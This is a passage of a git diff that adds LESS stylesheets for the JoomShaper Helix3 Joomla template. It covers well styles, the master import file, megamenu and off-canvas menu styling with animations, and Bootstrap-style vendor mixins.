@@ -0,0 +1,29 @@
+//
+// Wells
+// --------------------------------------------------
+
+
+// Base class
+.well {
+ min-height: 20px;
+ padding: 19px;
+ margin-bottom: 20px;
+ background-color: @wellBackground;
+ border: 1px solid darken(@wellBackground, 7%);
+ .border-radius(@baseBorderRadius);
+ .box-shadow(inset 0 1px 1px rgba(0,0,0,.05));
+ blockquote {
+ border-color: #ddd;
+ border-color: rgba(0,0,0,.15);
+ }
+}
+
+// Sizes
+.well-large {
+ padding: 24px;
+ .border-radius(@borderRadiusLarge);
+}
+.well-small {
+ padding: 9px;
+ .border-radius(@borderRadiusSmall);
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/master.less b/deployed/helix3/templates/shaper_helix3/less/master.less
new file mode 100644
index 00000000..073e4185
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/master.less
@@ -0,0 +1,12 @@
+/**
+ * @package Helix Framework
+ * @author JoomShaper http://www.joomshaper.com
+ * @copyright Copyright (c) 2010 - 2017 JoomShaper
+ * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
+*/
+@import 'variables';
+@import 'mixins';
+@import 'icomoon';
+@import 'menu';
+@import 'theme';
+
diff --git a/deployed/helix3/templates/shaper_helix3/less/menu.less b/deployed/helix3/templates/shaper_helix3/less/menu.less
new file mode 100644
index 00000000..09154c5b
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/menu.less
@@ -0,0 +1,1143 @@
+/**
+ * @package Helix V3 Framework
+ * @author JoomShaper http://www.joomshaper.com
+ * @copyright Copyright (c) 2010 - 2017 JoomShaper
+ * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
+ */
+
+/*=========================================
+ *======= Megamenu ============
+ *=======================================*/
+.sp-megamenu-parent {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+ z-index: 99;
+ display: block;
+ float: right;
+ position: relative;
+ >li {
+ display: inline-block;
+ position: relative;
+ padding: 0;
+
+ &.menu-justify {
+ position: static;
+ }
+
+ >a, >span {
+ display: inline-block;
+ padding: 0 15px;
+ line-height: 90px;
+ font-size: 12px;
+ text-transform: uppercase;
+ letter-spacing: 1px;
+ color: #000;
+ margin: 0;
+ }
+
+ &.sp-has-child>a:after, &.sp-has-child>span:after{
+ font-family: "FontAwesome";
+ content: " \f107";
+ }
+
+ /*
+ &.active:hover>a,
+ &:hover>a {
+ background-color: @major_color;
+ color: #fff;
+ }
+ */
+ }
+
+ .sp-module {
+ padding: 10px;
+ }
+
+ .sp-mega-group {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+
+ .sp-mega-group-child {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+ }
+ }
+
+ .sp-dropdown {
+ margin: 0;
+ position: absolute;
+ z-index: 10;
+ display: none;
+
+ .sp-dropdown-inner {
+ background: @megabg_color;
+ box-shadow: 0 3px 5px 0 rgba(0, 0, 0, 0.2);
+ padding: 20px;
+ }
+
+ .sp-dropdown-items {
+ list-style: none;
+ padding: 0;
+ margin: 0;
+
+ .sp-has-child>a:after{
+ font-family: "FontAwesome";
+ content: " \f105";
+ float: right;
+ }
+ }
+
+ &.sp-menu-center {
+ margin-left: 45px;
+ }
+
+ &.sp-dropdown-main {
+ top: 100%;
+ &.sp-menu-right
+ {
+ left: 0;
+ }
+ &.sp-menu-full{
+ left: auto;
+ right: 0;
+ }
+
+ &.sp-menu-left {
+ right: 0;
+ }
+ }
+
+ &.sp-dropdown-sub {
+ top: 0;
+ left: 100%;
+ .sp-dropdown-inner {
+ box-shadow: 0 0 5px rgba(0, 0, 0, 0.2);
+ }
+ }
+
+ //List Item
+ li.sp-menu-item { //child sub
+ display: block;
+ padding: 0;
+ position: relative;
+ >a, span {
+ display: block;
+ padding: 10px;
+ color: @megatx_color;
+ cursor: pointer;
+
+ &.sp-group-title {
+ text-transform: uppercase;
+ font-weight: bold;
+ }
+ }
+
+ >a:hover{
+ color: #fff;
+ }
+
+ &.active>a {
+ &:hover {
+ color: #fff;
+ }
+ }
+ }
+ }
+
+ .sp-dropdown-mega {
+ >.row {
+ margin-top: 30px;
+ &:first-child {
+ margin-top: 0;
+ }
+ }
+ }
+
+ //Has Child
+ .sp-has-child {
+ &:hover {
+ >.sp-dropdown {
+ display: block;
+ }
+ }
+ }
+
+ //Fade Animation
+ &.menu-fade {
+ .sp-has-child:hover {
+ >.sp-dropdown {
+ -webkit-animation: spMenuFadeIn 400ms;
+ animation: spMenuFadeIn 400ms;
+ }
+ }
+ }
+
+ //Zoom Animation
+ &.menu-zoom {
+ .sp-has-child:hover {
+ >.sp-dropdown {
+ -webkit-animation: spMenuZoom 400ms;
+ animation: spMenuZoom 400ms;
+ }
+ }
+ }
+}
+
+/*================= Off Canvas ===============*/
+
+#offcanvas-toggler {
+ float: right;
+ line-height: 87px;
+ margin-left: 15px;
+ font-size: 20px;
+ >i {
+ .transition(~'color 400ms, background-color 400ms');
+ &:hover {
+ color: #fff;
+ }
+ }
+}
+.off-canvas-menu-init{
+ overflow-x: hidden;
+ position: relative;
+}
+.offcanvas {
+ .offcanvas-overlay{
+ visibility: visible;
+ opacity: 1;
+ }
+}
+.offcanvas-overlay {
+ background: rgba(0,0,0,.2);
+ bottom: 0;
+ left: 0;
+ opacity: 0;
+ position: absolute;
+ right: 0;
+ top: 0;
+ z-index: 9999;
+ visibility: hidden;
+ -webkit-transition: .5s;
+ transition: .5s;
+}
+.body-wrapper{
+ position: relative;
+ -webkit-transition: .5s;
+ transition: .5s;
+ right: 0;
+ backface-visibility: hidden;
+}
+
+.close-offcanvas {
+ position: absolute;
+ top: 15px;
+ right: 15px;
+ z-index: 1;
+ border-radius: 100%;
+ width: 25px;
+ height: 25px;
+ line-height: .5;
+ text-align: center;
+ font-size: 16px;
+ border: 1px solid #fff;
+ color: #fff;
+ padding-top: 3px;
+}
+
+.offcanvas-menu {
+ width: 320px;
+ height: 100%;
+ background-color: rgba(0,0,0,0.7);
+ color: #fff;
+ position: fixed;
+ top: 0;
+ right: 0;
+ -webkit-transform: translateX(320px);
+ transform: translateX(320px);
+ visibility: hidden;
+ overflow: inherit;
+ -webkit-transition: .5s;
+ transition: .5s;
+ z-index: 10000;
+ .offcanvas-inner {
+ .sp-module {
+ margin-top: 20px;
+ border-bottom: 1px solid rgba(0,0,0,0.08);
+ margin-bottom: 50px;
+ &:after{
+ display: none;
+ }
+
+ &:last-child{
+ border-bottom: none;
+ margin-bottom: 0;
+ }
+
+ &.off-canvas-menu{
+ padding: 0;
+ }
+
+ .sp-module-title {
+ font-size: 16px;
+ line-height: 1;
+ text-transform: uppercase;
+ }
+
+ ul {
+ > li{
+ border: 0;
+ position: relative;
+ border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+ overflow: hidden;
+ a {
+ .transition(300ms);
+ padding:10px 20px;
+ font-size: 14px;
+ text-transform: uppercase;
+ color: #fff;
+ font-weight: 500;
+ line-height: 28px;
+ }
+ &:hover,
+ &:focus{
+ a{
+ background: rgba(0, 0, 0, 0.15);
+ }
+ }
+ a {
+ &:hover,
+ &:focus{
+ background: rgba(0, 0, 0, 0.15);
+ }
+ }
+ ul {
+ > li{
+ &.active,
+ &:hover,
+ &:focus {
+ > a{
+ background: rgba(0, 0, 0, 0.15) !important;
+ }
+ }
+ > a{
+ &:hover,
+ &:focus{
+ background: rgba(0, 0, 0, 0.15) !important;
+ }
+ }
+ }
+ }
+
+ .offcanvas-menu-toggler {
+ display: inline-block;
+ position: absolute;
+ top: 0;
+ right: 0;
+ padding:13px 20px;
+ cursor: pointer;
+ .open-icon {
+ display: none;
+ }
+
+ .close-icon {
+ display: inline;
+ }
+
+ &.collapsed {
+ .open-icon {
+ display: inline;
+ }
+ .close-icon {
+ display: none;
+ }
+ }
+ }
+
+ >a:after {
+ display: none;
+ }
+
+ ul {
+ background: rgba(0,0,0,0.02);
+ >li > a{padding-left: 30px;}
+ }
+ }
+ }
+
+ &:first-child {
+ margin-top: 0;
+ padding: 30px;
+ }
+ }
+ .search {
+ margin-top: 25px;
+ input {
+ width: 100%;
+ background: transparent;
+ border-color: #5f5f5f;
+ color: #fff;
+ }
+ }
+ }
+}
+
+.offcanvas {
+ width: 100%;
+ height: 100%;
+ position: relative;
+ .transition(.5s);
+ .body-wrapper{
+ right: 0;
+ -webkit-transform: translateX(-320px);
+ transform: translateX(-320px);
+ }
+ .body-wrapper:after {
+ width: 100%;
+ height: 100%;
+ right: 0;
+ }
+ .offcanvas-menu {
+ visibility: visible;
+ z-index: 9999;
+ right: 0;
+ -webkit-transform: translateX(0);
+ transform: translateX(0);
+ ul.nav-child li {
+ padding-left: 10px;
+ }
+ }
+}
+
+.menu .nav-child.small {
+ font-size: inherit;
+}
+
+/* ************* START Helix 1.4 CSS Block *************** */
+/* *********************************************************** */
+//Drop Down Animation
+.sp-megamenu-parent {
+ //Fade in up Animation
+ &.menu-fade-up {
+ .sp-has-child:hover {
+ >.sp-dropdown {
+ -webkit-animation: spMenuFadeInUp 400ms;
+ animation: spMenuFadeInUp 400ms;
+ }
+ }
+ }
+ //Rotate
+ &.menu-rotate {
+ .sp-has-child:hover {
+ >.sp-dropdown {
+ opacity: 1;
+ -webkit-transform: rotateX(0deg);
+ transform: rotateX(0deg);
+ visibility: visible;
+ }
+ }
+ }
+ //Slide Down
+ &.menu-slide-down {
+ .sp-has-child:hover {
+ >.sp-dropdown {
+ opacity: 1;
+ visibility: visible;
+ top: 90px;
+ .sp-dropdown{
+ top: 0;
+ }
+ }
+ }
+ }
+}
+/* ================== Menu Slide Down ================== */
+.menu-slide-down{
+ .sp-has-child {
+ >.sp-dropdown {
+ top: 60px;
+ opacity: 0;
+ visibility: hidden;
+ display: block;
+ transition: all 500ms ease;
+ &.sp-dropdown-mega{
+ left: auto;
+ right: 0;
+ }
+ }
+ }
+}
+
+/* =================== Rotate Menu Drop Down =============== */
+.menu-rotate {
+ .sp-has-child {
+ -webkit-perspective: 1000px;
+ perspective: 1000px;
+ >.sp-dropdown {
+ -webkit-transform-origin: top center;
+ transform-origin: top center;
+ -webkit-transform: rotateX(-70deg);
+ transform: rotateX(-70deg);
+ -webkit-transition: transform 0.4s ease 0s, opacity 0.2s ease 0s, visibility 0.2s ease 0s;
+ transition: transform 0.4s ease 0s, opacity 0.2s ease 0s, visibility 0.2s ease 0s;
+ opacity: 0;
+ visibility: hidden;
+ display: block;
+ &.sp-dropdown-mega{
+ left: auto;
+ right: 0;
+ }
+ }
+ }
+}
+
+/* ======================== Drop In ====================== */
+.menu-drop-in{
+ .sp-has-child {
+ .sp-dropdown-inner{
+ background: transparent none repeat scroll 0 0;
+ box-shadow: none;
+ padding: 0;
+ }
+ .sp-dropdown-items {
+ margin: 0;
+ padding: 0;
+ perspective: 1000px;
+ }
+ .sp-menu-item{
+ -webkit-transform: translate(0,100px);
+ transform: translate(0,100px);
+ opacity: 0;
+ padding: 0 20px !important;
+ background-color: @megabg_color;
+ &:first-child{
+ padding-top: 20px !important;
+ }
+ &:last-child{
+ padding-bottom: 20px !important;;
+ }
+ }
+ &:hover{
+ .sp-menu-item{
+ -webkit-animation-timing-function : ease-in-out;
+ animation-timing-function : ease-in-out;
+ -webkit-animation-fill-mode: forwards;
+ animation-fill-mode: forwards;
+ -webkit-animation-name: dropup;
+ animation-name: dropup;
+ &:nth-child(1){
+ -webkit-animation-duration: 0.3s;
+ animation-duration: 0.3s;
+ }
+ &:nth-child(2){
+ -webkit-animation-duration: 0.4s;
+ animation-duration: 0.4s;
+ }
+ &:nth-child(3){
+ -webkit-animation-duration: 0.5s;
+ animation-duration: 0.5s;
+ }
+ &:nth-child(4){
+ -webkit-animation-duration: 0.6s;
+ animation-duration: 0.6s;
+ }
+ &:nth-child(5){
+ -webkit-animation-duration: 0.7s;
+ animation-duration: 0.7s;
+ }
+ &:nth-child(6){
+ -webkit-animation-duration: 0.8s;
+ animation-duration: 0.8s;
+ }
+ &:nth-child(7){
+ -webkit-animation-duration: 0.9s;
+ animation-duration: 0.9s;
+ }
+ &:nth-child(8){
+ -webkit-animation-duration: 1s;
+ animation-duration: 1s;
+ }
+ &:last-child{
+ box-shadow: 0 3px 3px -2px rgba(0, 0, 0, 0.2);
+ }
+ }
+ }
+ &.menu-justify{
+ &:hover{
+ .sp-dropdown {
+ -webkit-animation: spMenuFadeInUp 500ms;
+ animation: spMenuFadeInUp 500ms;
+ }
+ }
+ .sp-dropdown-inner{
+ background: #fff none repeat scroll 0 0;
+ box-shadow: 0 3px 5px 0 rgba(0, 0, 0, 0.2);
+ padding: 20px !important;
+ }
+ .sp-mega-group{
+ .sp-menu-item{
+ padding: 0 !important;
+ -webkit-animation-direction: normal;
+ animation-direction: normal;
+ -webkit-animation-fill-mode: none;
+ animation-fill-mode: none;
+ -webkit-animation-iteration-count: 0;
+ animation-iteration-count: 0;
+ -webkit-animation-name: none;
+ animation-name: none;
+ -webkit-animation-timing-function: ease;
+ animation-timing-function: ease;
+ opacity: 1;
+ -webkit-transform: none;
+ transform: none;
+ &:last-child{
+ box-shadow: none;
+ }
+ }
+ }
+ }
+ }
+}
+
+//Drop In Animation
+@keyframes dropup {
+ 0% {opacity:0; transform: translate(0,100px);}
+ 100% {opacity:1; transform: translate(0,0);}
+}
+@-webkit-keyframes dropup {
+ 0% {opacity:0; transform: translate(0,100px); }
+ 100% {opacity:1; transform: translate(0,0);}
+}
+
+/* ================== Twist Menu =================== */
+.menu-twist{
+ .sp-has-child {
+ .sp-dropdown-inner{
+ background: transparent none repeat scroll 0 0;
+ box-shadow: none;
+ padding: 0;
+ }
+ .sp-dropdown-items {
+ margin: 0;
+ padding: 0;
+ }
+ .sp-menu-item{
+ -webkit-transform: rotateY(90deg) ;
+ transform: rotateY(90deg) ;
+ padding: 0 20px !important;
+ background: #fff;
+ &:first-child{
+ padding-top: 20px !important;
+ }
+ &:last-child{
+ padding-bottom: 20px !important;;
+ }
+ }
+ &:hover{
+ .sp-menu-item{
+ -webkit-animation-direction: normal;
+ animation-direction: normal;
+ -webkit-animation-iteration-count:1;
+ animation-iteration-count:1;
+ -webkit-animation-timing-function : ease-in-out;
+ animation-timing-function : ease-in-out;
+ -webkit-animation-fill-mode: forwards;
+ animation-fill-mode: forwards;
+ -webkit-animation-name: twist;
+ animation-name: twist;
+ &:nth-child(1){
+ -webkit-animation-duration: 0.4s;
+ animation-duration: 0.4s;
+ }
+ &:nth-child(2){
+ -webkit-animation-duration: 0.5s;
+ animation-duration: 0.5s;
+ }
+ &:nth-child(3){
+ -webkit-animation-duration: 0.6s;
+ animation-duration: 0.6s;
+ }
+ &:nth-child(4){
+ -webkit-animation-duration: 0.7s;
+ animation-duration: 0.7s;
+ }
+ &:nth-child(5){
+ -webkit-animation-duration: 0.8s;
+ animation-duration: 0.8s;
+ }
+ &:nth-child(6){
+ -webkit-animation-duration: 0.9s;
+ animation-duration: 0.9s;
+ }
+ &:nth-child(7){
+ -webkit-animation-duration: 1s;
+ animation-duration: 1s;
+ }
+ &:nth-child(8){
+ -webkit-animation-duration: 1.1s;
+ animation-duration: 1.1s;
+ }
+ &:last-child{
+ box-shadow: 0 3px 3px -2px rgba(0, 0, 0, 0.2);
+ }
+ }
+ }
+ &.menu-justify{
+ &:hover{
+ .sp-dropdown {
+ -webkit-animation: spMenuFadeInUp 500ms;
+ animation: spMenuFadeInUp 500ms;
+ }
+ }
+ .sp-dropdown-inner{
+ background: #fff none repeat scroll 0 0;
+ box-shadow: 0 3px 5px 0 rgba(0, 0, 0, 0.2);
+ padding: 20px !important;
+ }
+ .sp-mega-group{
+ .sp-menu-item{
+ padding: 0 !important;
+ -webkit-animation-direction: normal;
+ animation-direction: normal;
+ -webkit-animation-fill-mode: none;
+ animation-fill-mode: none;
+ -webkit-animation-iteration-count: 0;
+ animation-iteration-count: 0;
+ -webkit-animation-name: none;
+ animation-name: none;
+ -webkit-animation-timing-function: ease;
+ animation-timing-function: ease;
+ opacity: 1;
+ -webkit-transform: none;
+ transform: none;
+ &:last-child{
+ box-shadow: none;
+ }
+ }
+ }
+ }
+ }
+}
+/* Twist Animation */
+@keyframes twist {
+ 0% {opacity:0; transform: rotateY(90deg);}
+ 100% {opacity:1; transform: rotateY(0);}
+}
+@-webkit-keyframes twist {
+ 0% {opacity:0;-webkit-transform: rotateY(90deg); }
+ 100% {opacity:1; -webkit-transform: rotateY(0);}
+}
+
+/*=========== Menu Animation ============*/
+//Fade in
+@-webkit-keyframes spMenuFadeIn {
+ 0% {
+ opacity: 0;
+ }
+
+ 100% {
+ opacity: 1;
+ }
+}
+
+@keyframes spMenuFadeIn {
+ 0% {
+ opacity: 0;
+ }
+
+ 100% {
+ opacity: 1;
+ }
+}
+//Zoom
+@-webkit-keyframes spMenuZoom {
+ 0% {
+ opacity: 0;
+ -webkit-transform: scale(.8);
+ }
+
+ 100% {
+ opacity: 1;
+ -webkit-transform: scale(1);
+ }
+}
+
+@keyframes spMenuZoom {
+ 0% {
+ opacity: 0;
+ transform: scale(.8);
+ -webkit-transform: scale(.8);
+ }
+
+ 100% {
+ opacity: 1;
+ transform: scale(1);
+ -webkit-transform: scale(1);
+ }
+}
+//Fade in Up
+@-webkit-keyframes spMenuFadeInUp {
+ 0% {
+ opacity: 0;
+ -webkit-transform: translate3d(0, 30px, 0);
+ }
+
+ 100% {
+ opacity: 1;
+ -webkit-transform: none;
+ }
+}
+
+@keyframes spMenuFadeInUp {
+ 0% {
+ opacity: 0;
+ transform: translate3d(0, 30px, 0);
+ }
+
+ 100% {
+ opacity: 1;
+ transform: none;
+ }
+}
+
+/* =============== Slide Top Off Canvas Menu ============== */
+.slide-top-menu{
+ .offcanvas-menu{
+ -webkit-transform: translateX(0);
+ transform: translateX(0);
+ }
+ .body-wrapper {
+ right: 0;
+ }
+ .offcanvas-overlay{
+ visibility: visible;
+ opacity: 1;
+ }
+ .offcanvas-menu {
+ right: 0;
+ background-color: rgba(0, 0, 0, 1);
+ visibility: visible;
+
+ }
+}
+
+/* ========= Full Screen Off Canvas Menu ========= */
+.full-screen{
+ .offcanvas-menu{
+ right: -100%;
+ width: 100%;
+ transform: translateX(0);
+ background-color: rgba(0, 0, 0, .9);
+ transition: all 600ms ease;
+ .offcanvas-inner {
+ margin: 0 auto;
+ text-align: center;
+ .sp-module{
+ margin-bottom: 0;
+ margin-top: 80px;
+ padding-bottom: 0;
+ ul {
+ background: transparent;
+ height: auto;
+ li {
+ overflow: inherit;
+ a{
+ color: #fff;
+ display: inline-block;
+ font-size: 28px;
+ padding: 20px;
+ &:before{
+ display: none;
+ }
+ &:hover,
+ &:focus{
+ background: transparent;
+ }
+ }
+ .offcanvas-menu-toggler{
+ left: auto;
+ right: auto;
+ font-size: 28px;
+ padding: 20px 10px;
+ }
+ ul{
+ li{
+ display: block;
+ padding: 0 20px;
+ a{
+ font-size: 16px;
+ padding: 5px 20px;
+ }
+ .offcanvas-menu-toggler{
+ padding: 6px 10px;
+ }
+ }
+
+ }
+ &:hover,
+ &:focus{
+ a{
+ background: transparent;
+ }
+ }
+ }
+ &.nav.menu{
+ padding-bottom: 75px;
+ }
+ }
+ .search{
+ max-width: 300px;
+ margin: 25px auto 0;
+ }
+ .sp-module-title {
+ font-size: 28px;
+ }
+ }
+ }
+ .close-offcanvas {
+ font-size: 20px;
+ height: 35px;
+ line-height: 1;
+ right: 30px;
+ top: 25px;
+ width: 35px;
+ padding-top: 6px;
+ }
+ }
+
+}
+.full-screen-off-canvas{
+ &.ltr{
+ .offcanvas-menu{
+ visibility: visible;
+ z-index: 9999;
+ width: 100%;
+ right: 0;
+ }
+ }
+}
+
+/* =============== Full Screen Off Canvas From Top ================== */
+.full-screen-ftop{
+ .offcanvas-menu{
+ right: 0;
+ width: 100%;
+ opacity: 0;
+ -webkit-transform: translateX(0);
+ transform: translateX(0);
+ background-color: rgba(0, 0, 0, .9);
+ transition: all 500ms ease;
+ .offcanvas-inner {
+ margin: 0 auto;
+ text-align: center;
+ .sp-module{
+ margin-bottom: 0;
+ margin-top: 80px;
+ padding-bottom: 0;
+ ul {
+ background: transparent;
+ height: auto;
+ >li{
+ opacity: 0;
+ -webkit-transform: translate3d(0px, -80px, 0px);
+ transform: translate3d(0px, -80px, 0px);
+ -webkit-transition: transform 0.5s ease 0s, opacity 0.5s ease 0s;
+ transition: transform 0.5s ease 0s, opacity 0.5s ease 0s;
+ }
+ li {
+ overflow: inherit;
+ a{
+ color: #fff;
+ display: inline-block;
+ font-size: 28px;
+ padding: 20px;
+ &:before{
+ display: none;
+ }
+ &:hover,
+ &:focus{
+ background: transparent;
+ }
+ }
+ .offcanvas-menu-toggler{
+ left: auto;
+ right: auto;
+ font-size: 28px;
+ padding: 20px 10px;
+ }
+ ul{
+ li{
+ display: block;
+ padding: 0 20px;
+ a{
+ font-size: 16px;
+ padding: 5px 20px;
+ }
+ .offcanvas-menu-toggler{
+ padding: 6px 10px;
+ }
+ }
+
+ }
+ &:hover,
+ &:focus{
+ a{
+ background: transparent;
+ }
+ }
+ }
+ &.nav.menu{
+ padding-bottom: 75px;
+ }
+ }
+ .search{
+ max-width: 300px;
+ margin: 25px auto 0;
+ }
+ .sp-module-title {
+ font-size: 28px;
+ }
+ }
+ }
+ .close-offcanvas {
+ font-size: 20px;
+ height: 35px;
+ line-height: 1;
+ right: 30px;
+ top: 25px;
+ width: 35px;
+ padding-top: 6px;
+ }
+ }
+
+}
+.full-screen-off-canvas-ftop{
+ &.ltr{
+ .offcanvas-menu{
+ visibility: visible;
+ z-index: 9999;
+ width: 100%;
+ right: 0;
+ opacity: 1;
+ .sp-module{
+ margin-top: 80px;
+ ul {
+ background: transparent;
+ height: auto;
+ >li{
+ opacity: 1;
+ -webkit-transform: translate3d(0px, 0px, 0px);
+ transform: translate3d(0px, 0px, 0px);
+ }
+ }
+ }
+ }
+ }
+}
+/* =================== New Look Off Canvas Menu ================ */
+.new-look{
+ .offcanvas-menu{
+ background-color: #2b2f3b;
+ .sp-module {
+ ul {
+ >li {
+ >a{
+ &:before{
+ display: none;
+ }
+ padding-left: 28px;
+ }
+ &:hover,
+ &:focus,
+ &.active{
+ a{
+ background: #22b8f0;
+ }
+ }
+ ul{
+ li{
+ a{
+ background-color: #2b2f3b !important;
+ &:hover,
+ &:focus{
+ color: #22b8f0;
+ }
+ }
+ }
+ }
+ .offcanvas-menu-toggler{
+ top: 6px;
+ padding: 18px 25px;
+ i{
+ display: none !important;
+ }
+ &:before{
+ background: #fff none repeat scroll 0 0;
+ content: "";
+ height: 8px;
+ left: auto;
+ position: absolute;
+ right: 25px;
+ top: 14px;
+ width: 2px;
+ -webkit-transform: rotate(-45deg);
+ transform: rotate(-45deg);
+ }
+ &:after{
+ background: #fff none repeat scroll 0 0;
+ content: "";
+ height: 2px;
+ left: auto;
+ position: absolute;
+ right: 22px;
+ top: 17px;
+ width: 8px;
+ -webkit-transform: rotate(-45deg);
+ transform: rotate(-45deg);
+ }
+ &.collapsed{
+ &:before{
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ }
+ &:after{
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ }
+ }
+
+ }
+ }
+
+ }
+ }
+ }
+
+}
+.new-look-off-canvas{
+ .offcanvas-overlay{
+ visibility: visible;
+ opacity: 1;
+ }
+ &.ltr{
+ .offcanvas-menu{
+ visibility: visible;
+ right: 0;
+ -webkit-transform: translateX(0);
+ transform: translateX(0);
+ }
+ }
+}
+
+/* ====================== Firefox Only Css ==================== */
+@-moz-document url-prefix() {
+ .offcanvas-menu {
+ right: -320px;
+ transform: translateX(0px);
+ }
+}
+
+/* ************* END:: Helix 1.4 CSS Block ************** */
+/* ********************************************************** */
diff --git a/deployed/helix3/templates/shaper_helix3/less/mixins.less b/deployed/helix3/templates/shaper_helix3/less/mixins.less
new file mode 100644
index 00000000..6a4c5e76
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/mixins.less
@@ -0,0 +1,358 @@
+// Vendor Prefixes
+//
+// All vendor mixins are deprecated as of v3.2.0 due to the introduction of
+// Autoprefixer in our Gruntfile. They will be removed in v4.
+
+// - Animations
+// - Backface visibility
+// - Box shadow
+// - Box sizing
+// - Content columns
+// - Hyphens
+// - Placeholder text
+// - Transformations
+// - Transitions
+// - User Select
+
+.clearfix() {
+ &:before,
+ &:after {
+ content: " "; // 1
+ display: table; // 2
+ }
+ &:after {
+ clear: both;
+ }
+}
+
+
+// Animations
+.animation(@animation) {
+ -webkit-animation: @animation;
+ -o-animation: @animation;
+ animation: @animation;
+}
+.animation-name(@name) {
+ -webkit-animation-name: @name;
+ animation-name: @name;
+}
+.animation-duration(@duration) {
+ -webkit-animation-duration: @duration;
+ animation-duration: @duration;
+}
+.animation-timing-function(@timing-function) {
+ -webkit-animation-timing-function: @timing-function;
+ animation-timing-function: @timing-function;
+}
+.animation-delay(@delay) {
+ -webkit-animation-delay: @delay;
+ animation-delay: @delay;
+}
+.animation-iteration-count(@iteration-count) {
+ -webkit-animation-iteration-count: @iteration-count;
+ animation-iteration-count: @iteration-count;
+}
+.animation-direction(@direction) {
+ -webkit-animation-direction: @direction;
+ animation-direction: @direction;
+}
+.animation-fill-mode(@fill-mode) {
+ -webkit-animation-fill-mode: @fill-mode;
+ animation-fill-mode: @fill-mode;
+}
+
+// Backface visibility
+// Prevent browsers from flickering when using CSS 3D transforms.
+// Default value is `visible`, but can be changed to `hidden`
+
+.backface-visibility(@visibility){
+ -webkit-backface-visibility: @visibility;
+ -moz-backface-visibility: @visibility;
+ backface-visibility: @visibility;
+}
+
+// Drop shadows
+//
+// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's
+// supported browsers that have box shadow capabilities now support it.
+
+.box-shadow(@shadow) {
+ -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1
+ box-shadow: @shadow;
+}
+
+// Box sizing
+.box-sizing(@boxmodel) {
+ -webkit-box-sizing: @boxmodel;
+ -moz-box-sizing: @boxmodel;
+ box-sizing: @boxmodel;
+}
+
+// CSS3 Content Columns
+.content-columns(@column-count; @column-gap: @grid-gutter-width) {
+ -webkit-column-count: @column-count;
+ -moz-column-count: @column-count;
+ column-count: @column-count;
+ -webkit-column-gap: @column-gap;
+ -moz-column-gap: @column-gap;
+ column-gap: @column-gap;
+}
+
+// Optional hyphenation
+.hyphens(@mode: auto) {
+ word-wrap: break-word;
+ -webkit-hyphens: @mode;
+ -moz-hyphens: @mode;
+ -ms-hyphens: @mode; // IE10+
+ -o-hyphens: @mode;
+ hyphens: @mode;
+}
+
+.form-control {
+ display: block;
+ height: @input-height-base; // Make inputs at least the height of their button counterpart (base line-height + padding + border)
+ padding: @padding-base-vertical @padding-base-horizontal;
+ font-size: @font-size-base;
+ line-height: @line-height-base;
+ color: @input-color;
+ background-color: @input-bg;
+ background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214
+ border: 1px solid @input-border;
+ border-radius: @input-border-radius;
+ .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));
+ .transition(~"border-color ease-in-out .15s, box-shadow ease-in-out .15s");
+
+ // Customize the `:focus` state to imitate native WebKit styles.
+ .form-control-focus();
+
+ // Placeholder
+ .placeholder();
+
+ // Disabled and read-only inputs
+ //
+ // HTML5 says that controls under a fieldset > legend:first-child won't be
+ // disabled if the fieldset is disabled. Due to implementation difficulty, we
+ // don't honor that edge case; we style them as disabled anyway.
+ &[disabled],
+ &[readonly],
+ fieldset[disabled] & {
+ cursor: @cursor-disabled;
+ background-color: @input-bg-disabled;
+ opacity: 1; // iOS fix for unreadable disabled content
+ }
+
+ // Reset height for `textarea`s
+ textarea& {
+ height: auto;
+ }
+}
+
+.form-control-focus(@color: @input-border-focus) {
+ @color-rgba: rgba(red(@color), green(@color), blue(@color), .6);
+ &:focus {
+ border-color: @color;
+ outline: 0;
+ .box-shadow(~"inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px @{color-rgba}");
+ }
+}
+
+// Placeholder text
+.placeholder(@color: @input-color-placeholder) {
+ // Firefox
+ &::-moz-placeholder {
+ color: @color;
+ opacity: 1; // See https://github.com/twbs/bootstrap/pull/11526
+ }
+ &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+
+ &::-webkit-input-placeholder { color: @color; } // Safari and Chrome
+}
+
+// Transformations
+.scale(@ratio) {
+ -webkit-transform: scale(@ratio);
+ -ms-transform: scale(@ratio); // IE9 only
+ -o-transform: scale(@ratio);
+ transform: scale(@ratio);
+}
+.scale(@ratioX; @ratioY) {
+ -webkit-transform: scale(@ratioX, @ratioY);
+ -ms-transform: scale(@ratioX, @ratioY); // IE9 only
+ -o-transform: scale(@ratioX, @ratioY);
+ transform: scale(@ratioX, @ratioY);
+}
+.scaleX(@ratio) {
+ -webkit-transform: scaleX(@ratio);
+ -ms-transform: scaleX(@ratio); // IE9 only
+ -o-transform: scaleX(@ratio);
+ transform: scaleX(@ratio);
+}
+.scaleY(@ratio) {
+ -webkit-transform: scaleY(@ratio);
+ -ms-transform: scaleY(@ratio); // IE9 only
+ -o-transform: scaleY(@ratio);
+ transform: scaleY(@ratio);
+}
+.skew(@x; @y) {
+ -webkit-transform: skewX(@x) skewY(@y);
+ -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+
+ -o-transform: skewX(@x) skewY(@y);
+ transform: skewX(@x) skewY(@y);
+}
+.translate(@x; @y) {
+ -webkit-transform: translate(@x, @y);
+ -ms-transform: translate(@x, @y); // IE9 only
+ -o-transform: translate(@x, @y);
+ transform: translate(@x, @y);
+}
+.translate3d(@x; @y; @z) {
+ -webkit-transform: translate3d(@x, @y, @z);
